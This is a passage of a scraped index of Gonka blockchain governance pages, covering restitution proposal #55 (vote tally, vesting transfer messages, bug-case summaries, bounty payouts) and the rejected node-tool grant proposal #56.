gonka16j4zv6723mrnycwn0qgw0j48dr9qecyclxg5jh Case 2 investigator, Case 3 validator, Case 4 validator 8,875.00
gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6 Case 3 investigator, Case 1 validator, Case 2 validator, Case 4 validator 11,062.50
gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k Case 4 investigator, Case 1 validator, Case 2 validator, Case 3 validator, proposal coordinator 15,284.70
Aggregated Payout List
The file restitution_aggregated.csv contains the consolidated payout list across all accepted cases: one row per address, amounts summed where the same address appears in multiple cases.
Run aggregate.py to regenerate it from source:
python3 aggregate.py
The script fetches all source CSVs and JSON directly from the case repositories at runtime.
"}, {"location": "proposals/proposals/2026-q2/55/#final-tally", "title": "Final Tally", "text": "Yes 188,670 (61.2%) No 0 (0.0%) Veto 0 (0.0%) Abstain 119,835 (38.8%) Total 308,505 votes"}, {"location": "proposals/proposals/2026-q2/55/#messages", "title": "Messages", "text": "# Type 1/inference.streamvesting.MsgBatchTransferWithVesting 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 3 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 4 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 5 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka12av9up884t9lcsf70rs0l7jfmkmc8k9sxfuknt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"87515706412000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q5xt54wncgzk7dxv9x64uln68455g83wu9tugg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52989936765000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1famtxh54kad6ylwtm60j6d7h6unpc08d4vdqnk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"30915639076000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1umvyh0rz5fdmk9qhxurshhchennajced6f4s89\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"19853590458000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka188c86f9mrlt4nlcg89f82nnfm9jzq9gtjafj50\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11685431400000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dzdmx5ljrwkelrmgd7suv2q43epn293qacpgqn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10930934355000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r5hdy9q5v783ef7td98k4c68cxl6a58h5sytfq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4623954018000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka163ug8zucqeag9v5ey4au34jqt7vejkmxsg74eu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4086605073000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wkgawwdzj623ss8eywayzdj6qcgr2llygactje\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3933361320000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zsvl7ujlc8z3a35v2q6e3nml7ftyk23v76jqgl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"3409330900000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vcvn2p5gczr5pynqq0ca0933tdrf5w64sjgtdg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2481939374000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wthc28t25pg63hzvl07rl8e8r6km6hesl6jhsz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2358756296000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17pw6099q758qwzewtrqmqpf5c2lrhr97fwqexu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1987904622000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u9a7r4w76gult5n9ysadnual9fghkc6yda60wj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1945265555000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pvkv59e72vju2h7s9j3ex62c5xneqey350vpwn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1927972100000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1894756997000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dpt9zx2dqcky6yjjwrd8xz2w7lq6vffy9mhvgs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1841921987000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lswsj2x7u4606wqpunmm07skgf76r3dyz4v0d8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1827469872000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1812926330000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1780381271000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ge9amk4ymld27d35akj3ky9uph4gyz6rdpepjj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1771829231000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jltjehxsnum94nt8c00ts7khmpy4lafv6gryzk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1741951170000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1llgg3kvg9sc6xz09jtkcrucrppxgn78xe4xlv0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1727750282000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka145666cll76ptcyy9ceymtalr8gnvv73ne99p32\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1688729573000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1slndy4rsmld579628302rj5gz8z9qf4v6ppmc4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1602460126000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19cjm4c5mt3j3qdr8vhytmm4hef3pnkvkm0x7m2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1581661457000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka187tn9y92ur6tu0zf69u94hwl0q77m47y0k36hv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1573597372000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pllyukkeymx3hfd9mts3pryr9y6efs9eshty87\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1572442861000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14tqh62mangwzrma2lgg2dm375rcjzn2ydy8ttm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1482391068000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1043d00lu0v3fz53cut34twtcanalqg9u8vehp2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1478451308000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1446802128000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1416649392000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18xeqnspxpg2vncufnjne485rkaagwvz7whyn0d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1387426691000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t8p0tjqls358gmzvd3rnnjulraq2k3m772vnt8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1377181840000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19ghzvgfr065s3fr5awuvs3nhy9fq4n7wrr9kel\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1348734584000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h3s37p0l23mg6ak9h9nmayh6r9f2vm6umj3qet\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1343669924000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16k03ze5ynkprsd4n6e5uzhthvu9jjk553rauqy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1291153511000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zpw8tml8xl4fm6zm8zpf2u4pq4tehmd9e2vgq7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1252141319000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ccdm8j6sjyhq4qask049dwgaczs7f3pxte6zmp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1240267552000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12pcu9mcrpa4w4sjd9y3dsksnvu495ss6f9r4ra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1155361073000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16q0zaetd6hq6d8zj48ur0v967xrrwh566kcazc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1122206687000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12gc47yq8m7rnsa3aucq8mlzm7men8jaac7qkkz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1048532370000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tlvg4kjx7ljd5thgd5fkgh39q6lu8cmxupktgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1045748557000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mdy7nlecw4xaqdxmeh3qlqzakg9ftge9szfqgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1042787803000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y4kyhqy022gt4kklxxflgqkutnx96ssww66zg6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"942026558000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m27e6qup7q8jmvnrn29kahd7vlx6r4l84z4thz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889089066000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xwkesaxvdadh9wt9yyladu0r260s7whklcktds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"858868299000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12fazh3etpdx947ldwen4wudnds7wu4kjp5vd76\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"811918139000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lr9mj6dgkv0h76c8y8w0l3esztyg9v2q8d6d8d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806228688000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17ef5hl0588tmjm9ypw7t2kge78wrkcpvyspc0p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"771087961000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fp8zl07qccdzuekns2q55jgmcag40kjrm8z0z9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"741302011000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12tfc6ccmadjqv6yaa3axxsuhy6zv6tupu78p8u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"726053879000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tl5m3vuqsx333v7095ymwjdc4vdk2wd9r5hqws\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"722793158000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yal0ysgzc860zt3y8cds8656tnueusgymftvkw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"705402646000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fc9tzt83dgrqswlgay4668cuqjrk7zsqks2vm2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"688423583000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17tlh09e32xpv2uj433ytjnwwd8fh24jclpzm5s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"643577322000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cckj93kp9kegry64scpn4ew9965g3qrswyshl9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"599735081000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"579778319000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17fcahf38xh8ghzyyrc55tarz9nd0vw6xd29nsk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"568610436000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gyydhl9lp0udz3409ps0c0lk0y4ft8qcyv8tfq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"562251638000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nkzdygk3g2p2usnueuqxyep3462350hgzxs86s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"558904902000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15rvksn9gxgpszyr8270cd4wj2x3d460r394uv4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"552211430000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1usmu5mfu8vsafvsrsvdutl50vy8kumdhv0j2x9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"552211430000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1psgzz288a434dv6863ldd73xma70zw7387muj2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"548864694000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ql9asemklpkpr2d4mh33xw5gj0g5tm0v98c5q3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"548864694000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vcawx5jc2hahydd9sqw30hlxyd9ppupm9ez0yz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"542171223000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p60lruhxmwcsa9taa28cp4k4f6kv2kvyu5h5ep\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"534999150000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10snluhflqhmwl5xrpuy9ugevypxdjjsft370fq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"525437543000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14g78ez2zy08k8sssue483zmfpgd4qut8zcwlqc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"522077665000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tmk2tzdneht6smu34pkmqdvu7p34qavvmwtwq2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"515397335000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1830lqug50lse998x2lakk4pj5ypfumz5pasz0y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"505691801000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168yvlgt9jg86frg2z90cc8w4pz9hnd7f8lshux\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"498998329000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h2m79scgaq6ultrwge03wjk0ys4whgcejphmql\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"474959200000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168rtjfkszuhcggg4dfyse4yh7xn9zwfglnkns2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"451760266000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"396253535000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d7p03cu2y2yt3vytq9wlfm6tlz0lfhlgv9h82p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"365789060000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2lhgng7tcqju7emk989s5fpdr7k2c3ek6h26m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"365789060000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fvly5jrewyjmjfgwah3khy9rttq4cqajcesv9p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"357960400000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k6p754pyhxud2399knyccgjpjvdafj2u9xlgyf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"329318817000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eazh84v0e60s9m7exxp3nsadcfgvnsthgypjvl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"311581116000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zktn8j65wlys8a8e38hqhf4y3x6m4x04zskkrx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"271309892000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"252678564000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vjz8csqsr0ph0lv0yylc4auypnzrld7y6l2feu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"233997500000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qwfrtz9c7kcrfkrrlne2pkcye74mj6ce33xdkl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"220215225000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l0qv64xdu3dk2zzm5vk97j0drcmkus95u50gqk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"192771990000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10jjrlvkfkqupgudz0l603sq99y3wkt3urwjm0x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"149599097000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gyk0aahvr3qeju4zx0nplfreej6cy4jjk8svc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"142236278000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10t67f5zxh7canhuznxg7cperec6286jjqh5pey\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"140897583000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uf5cg7ef0ns6877nl27y0s6rt06cdmn40k5a88\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59571900000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15sptlamre9vq4m5t7pa7je5r2pc34kmlwvj0jz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23911954000\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"150\"\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"4500000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka16j4zv6723mrnycwn0qgw0j48dr9qecyclxg5jh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"8875000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"11062500000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"15284700000000\"\n }\n ]\n }\n]\nGRC Proposal #2
Overview
This is the second restitution proposal from the Gonka Restitution Committee (GRC). It is also the largest proposal to date, covering 3 accepted restitution cases across multiple epochs — compared to a single case in the previous proposal.
GRC has recently refreshed its membership: the committee now includes developers from Gonka Labs and Inc4, broadening technical expertise and validation capacity.
New this proposal: before submission, GRC piloted a structured AI interview process — an idea contributed by someone who chose to remain anonymous. The interview covers purpose, cost, stakeholder impact, and risks. This is the first run, conducted for MVP purposes to test the format and prompt before rolling it out more broadly.
Interview block: https://blocks.gonka.gg/blocks/admin/gonka-governance-interview
This proposal's interview: https://blocks.gonka.gg/c/cmpfmwlvh007rsau9qc7sxm3u
Interviewer prompt: https://github.com/votkon/gonka-proposal-interview/blob/main/interviewer-prompt.txt
The full transcript is available at the interview link above. We invite everyone to use this in their own proposals and share feedback on this first iteration.
Cases
Case 1 — Epoch 247: Inactive Status Mid-Epoch (Rejected)
Original definition: Hosts who had POC_SLOT=true in epoch 247 before the upgrade had confirmationWeight=0 in that epoch, leading to lowered or zeroed rewards for epoch 247.
Nine participants served inferences with low miss rates (≤ 3.1%) but received zero rewards in epoch 247 after their status flipped from ACTIVE to INACTIVE during the epoch. A restitution case was filed based on the traffic they served.
After investigation, validators were unable to establish a clear and reproducible causal link between the claimed mechanism and the observed reward outcomes. The victim list selection logic could not be verified against on-chain data, and similar-looking cases not included in the list raised further questions. The case was rejected for insufficient proof of a defined protocol-level issue.
Case 2 — Epochs 249–253: Preserver Weight Double-Scaling Bug
Original definition: MLNodes sampled as preserver nodes in epoch 247 (and potentially the following epoch until their first PoC) had their weight incorrectly scaled to approximately 35% of the full weight.
Status: Accepted | 30,318.50 GNK | Source
Following the v0.2.12 network upgrade, nodes in the Qwen subgroup that were sampled as preserved nodes had their MLNodeInfo.PocWeight stored in pre-scaled units. Post-upgrade code treated these stale values as raw nonces and re-applied the WeightScaleFactor (≈0.36), causing double-scaling. Affected nodes had their consensus weight reduced to approximately 36% of the intended level for every epoch in which they remained \"stuck\" — until they re-ran a fresh Proof of Compute (PoC) validation.
This resulted in proportionally reduced PoC rewards across multiple epochs. 34 (participant, node) pairs were identified. The fix (PR #1089) introduced episode-scoped preservation and refined reward logic.
Case 3 — Epochs 248, 249 & 250: Epoch Loss Restitution
Original definition: Hosts invalidated with reason consecutive_failures in epoch N cannot participate in further epochs because the status is not reset. Only epoch N+1 should be considered for restitution to avoid abuse. Epochs 250 and beyond are out of scope as the issue became known.
Status: Accepted | 217,612.83 GNK
This case consolidates four related restitution packages covering abnormal reward losses across epochs 248, 249, and 250. All packages use source_overrides.json as the authoritative deduplication layer — amounts already covered by another package are marked external_proposed and excluded, so there is no double-counting across sub-packages or with Case 2.
Epoch 248 — Broad epoch loss (118,204.04 GNK) | Source Analysis revealed abnormally high loss rates: 63 of 95 participants (66%) received no or reduced rewards, accounting for 41% of the epoch's total reward pool. Multiple failure categories contributed — failed confirmation PoC, consecutive failures, statistical invalidations, and confirmation weight reductions. Given the scale and statistical significance of the loss, full restitution of all unrecovered losses was approved.
Epoch 249 — Consecutive failures restriction (63,391.60 GNK) | Source Three participants invalidated by the consecutive_failures mechanism remained blocked from reward eligibility in epoch 249 beyond the intended scope of the restriction. Their invalidation status persisted when it should have resolved, causing complete reward exclusion for that epoch.
Epoch 249 — Remaining delta for Case 2 victims (24,597.79 GNK) | Source Several participants affected by the Case 2 double-scaling bug suffered losses greater than what the 0.35x formula alone covers — where the weight bug compounded with a confirmation failure, resulting in zero reward for the epoch rather than just a reduced one. This package covers the remaining unpaid delta after Case 2 restitution is applied.
Epoch 250 — Broad epoch loss, net of Case 2 and Case 3a (11,419.41 GNK) | Source 34 of 71 participants (48%) experienced losses in epoch 250. Amounts already covered by Case 2 or the consecutive failures package are excluded per-address via source_overrides.
Case 4 — Epoch 254: API Startup Blocking Issue
Original definition: Unexpected API startup behavior caused nodes to be unavailable during epoch 254 CPoC rounds, resulting in zero rewards for affected participants.
Status: Accepted | 58,375.96 GNK | Source
Version v0.2.12-api-post2 was released between CPoC 1 and CPoC 2 (Confirmation Proof of Compute rounds) of epoch 254. This version introduced a blocking devshard migration on API startup, causing servers to be unavailable for up to 20 minutes after a container restart. Participants who applied the update promptly after CPoC 1 — as expected — had their API offline during CPoC 2, resulting in failed confirmations and zero rewards for the epoch despite passing CPoC 1.
The root fix (parallel devshard loading) shipped in v0.2.12-api-post3 only after the epoch had completed. 14 addresses qualified for restitution based on demonstrated CPoC 1 passage and confirmed epoch-end failure.
Summary
Case Description Epochs Status GNK
1 Inactive status mid-epoch 247 Rejected —
2 Preserver weight double-scaling 249–253 Accepted 30,318.50
3 Epoch loss restitution (broad + consecutive failures + remaining delta) 248, 249, 250 Accepted 217,612.83
4 API startup blocking issue 254 Accepted 58,375.96
Total 306,307.29 GNK
Bounties
Bounty rates: case investigation — 4,500 GNK | case validation — 2,187.50 GNK | proposal coordination — 4,222.20 GNK
Address Roles GNK
gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3 Case 1 investigator 4,500.00
gonka16j4zv6723mrnycwn0qgw0j48dr9qecyclxg5jh Case 2 investigator, Case 3 validator, Case 4 validator 8,875.00
gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6 Case 3 investigator, Case 1 validator, Case 2 validator, Case 4 validator 11,062.50
gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k Case 4 investigator, Case 1 validator, Case 2 validator, Case 3 validator, proposal coordinator 15,284.70
Aggregated Payout List
The file restitution_aggregated.csv contains the consolidated payout list across all accepted cases: one row per address, amounts summed where the same address appears in multiple cases.
Run aggregate.py to regenerate it from source:
python3 aggregate.py
The script fetches all source CSVs and JSON directly from the case repositories at runtime.
"}, {"location": "proposals/proposals/2026-q2/56/", "title": "#56 – INC4 | Gonka NOP - grant for the node deployment tool", "text": "Rejected
Proposal ID: 56
Type: Execute Contract
Submit: 2026-05-25 15:12 UTC
Voting: 2026-05-25 15:12 UTC → 2026-05-27 15:12 UTC
Proposer: gonka1juwk05glldgn7850a3547jsl7l4vrhx9k5g3cr
Metadata: https://github.com/gonka-ai/gonka/discussions/1192
Failed reason: proposal did not get enough votes to pass
$50,000 · Community PoolView on gonka.gg
"}, {"location": "proposals/proposals/2026-q2/56/#gonka-nop-grant-for-the-node-deployment-tool", "title": "Gonka NOP: grant for the node deployment tool", "text": "50,000 USDT from the CommunityPool to INC4 Full proposal: https://github.com/gonka-ai/gonka/discussions/1192
"}, {"location": "proposals/proposals/2026-q2/56/#what-it-is", "title": "What it is", "text": "gonka-nop (Node Onboarding Package) is a tool that reduces launching a Gonka node to a single command. Complex technical details are hidden inside and updated alongside the network. It is already working, open source, and in use by some operators on mainnet.
"}, {"location": "proposals/proposals/2026-q2/56/#what-the-grant-covers", "title": "What the grant covers", "text": "Today only technical specialists can launch a node. NOP removes that barrier: newcomers can join without diving into the internals, and experienced operators get a consistent foundation for their own automation.
The broader the operator set, the more resilient the network.
"}, {"location": "proposals/proposals/2026-q2/56/#terms", "title": "Terms", "text": "Repository on GitHub: https://github.com/inc4/gonka-nop Documentation: https://github.com/inc4/gonka-nop/blob/main/README.md Live walkthrough on YouTube (by Gonka.Top@Mitch): https://www.youtube.com/watch?v=1t9GEMN92Vo
"}, {"location": "proposals/proposals/2026-q2/56/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/56/#gonka-nop-grant-for-the-node-deployment-tool_1", "title": "Gonka NOP - grant for the node deployment tool", "text": "A CommunityPool funding request covering delivered work on gonka-nop, ongoing operator support, and continued development of the tool.
